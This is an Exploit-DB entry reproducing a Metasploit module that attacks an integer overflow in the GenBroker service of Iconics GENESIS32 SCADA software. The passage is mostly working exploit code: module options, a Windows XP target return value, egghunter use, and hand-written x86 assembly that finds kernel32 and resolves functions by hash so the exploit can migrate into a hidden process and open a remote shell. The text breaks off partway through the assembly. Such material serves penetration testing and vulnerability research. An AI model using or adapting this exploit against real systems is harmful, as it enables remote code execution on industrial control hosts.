Exploit-DB #17543
Description: Iconics GENESIS32 9.21.201.01 - Integer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2011-07-17
Author: Metasploit

Exploit:
##
# $Id: iconics_genbroker.rb 13197 2011-07-17 15:01:46Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Iconics GENESIS32 Integer overflow version 9.21.201.01",
			'Description'    => %q{
					The GenBroker service on port 38080 is affected by three integer overflow
				vulnerabilities while handling opcode 0x4b0, which is caused by abusing the
				the memory allocations needed for the number of elements passed by the client.
				This results unexpected behaviors such as direct registry calls, memory location
				calls, or arbitrary remote code execution.  Please note that in order to ensure
				reliability, this exploit will try to open calc (hidden), inject itself into the
				process, and then open up a shell session.  Also, DEP bypass is supported.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 13197 $",
			'Author'         =>
				[
					'Luigi Auriemma', #Initial discovery, poc
					'Lincoln',        #Metasploit
					'corelanc0d3r',   #Metasploit + custom migrate fu
				],
			'References'     =>
				[
					['URL', 'http://aluigi.org/adv/genesis_4-adv.txt'],
				],
			'Payload'        =>
				{
					'BadChars' => "\x00",
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "thread",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP',
						{
							'Ret' => "\x70\x45",
							'Max' => 9000,
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Mar 21 2011",
			'DefaultTarget'  => 0))

			register_options(
				[
					Opt::RPORT(38080)
				], self.class)
	end

	def exploit

		migrate_asm = %Q|
add esp,-500                  ; adjust the stack to be sure
pushad                        ; save stuff

find_kernel32:                ;find kernel32
push esi                      ; Save esi
xor  esi, esi                 ; Zero esi
mov  eax, fs:[esi + 0x4]      ; Extract TEB
mov  eax, [eax - 0x1c]
find_kernel32_base:
find_kernel32_base_loop:
dec  eax                      ; Subtract to our next page
xor  ax, ax                   ; Zero the lower half
cmp  word [eax], 0x5a4d       ; Is this the top of kernel32?
jne  find_kernel32_base_loop  ; Nope?  Try again.
find_kernel32_base_finished:
pop  esi                      ; Restore esi

mov edx,eax                   ; save base of kernel32 in edx

jmp main_routine

; find function pointer
find_function:
pushad                        ;save all registers
mov ebp, [esp + 0x24]         ;base address of module that is being loaded in ebp
mov eax, [ebp + 0x3c]         ;skip over MSDOS header
mov edx, [ebp + eax + 0x78]   ;go to export table and put RVA in edx
add edx, ebp                  ;add base address to it.
mov ecx, [edx + 0x18]         ;set up counter ECX (how many exported items are in array ?)

mov ebx, [edx + 0x20]         ;put names table relative offset in ebx
add ebx, ebp                  ;add base address to it (ebx = absolute address of names table)

;(should never happen)
;unless function could not be found
find_function_loop:
jecxz find_function_finished  ;if ecx=0, then last symbol has been checked.

dec ecx                       ;ecx=ecx-1
;with the current symbol
;and store offset in esi
mov esi, [ebx + ecx * 4]      ;get relative offset of the name associated
add esi, ebp                  ;add base address (esi = absolute address of current symbol)

compute_hash:
xor edi, edi                  ;zero out edi
xor eax, eax                  ;zero out eax
cld                           ;clear direction flag.

compute_hash_again:
lodsb                         ;load bytes at esi (current symbol name) into al, + increment esi
test al, al                   ;end of string ?
jz compute_hash_finished      ;yes
ror edi, 0xd                  ;no, rotate value of hash 13 bits to the right
add edi, eax                  ;add current character of symbol name to hash accumulator
jmp compute_hash_again        ;continue loop

compute_hash_finished:

find_function_compare:
cmp edi, [esp + 0x28]         ;see if computed hash matches requested hash (at esp+0x28)
jnz find_function_loop        ;no match, go to next symbol
mov ebx, [edx + 0x24]         ;if match : extract ordinals table (relative offset and put in ebx)
add ebx, ebp                  ;add base address (ebx = absolute address of ordinals address table)
mov  cx, [ebx + 2 * ecx]      ;get current symbol ordinal number (2 bytes)
mov ebx, [edx  +  0x1c]       ;get address table relative and put in ebx
add ebx, ebp                  ;add base address (ebx = absolute address of address table)
mov eax, [ebx + 4 * ecx]      ;get relative function offset from its ordinal and put in eax
add eax, ebp                  ;add base address (eax = absolute address of function address)
mov [esp + 0x1c], eax         ;overwrite stack copy of eax so popad (return func addr in eax)

find_function_finished:       ;retrieve original registers (eax will contain function address)
popad
ret 

;--------------------------------------------------------------------------------------
find_funcs_for_dll:
lodsd                         ;load current hash into eax (pointed to by esi)
push eax                      ;push hash to stack
push edx                      ;push base address of dll to stack
call find_function
mov [edi], eax                ;write function pointer into address at edi
add esp, 0x08                 ;adjust stack
add ed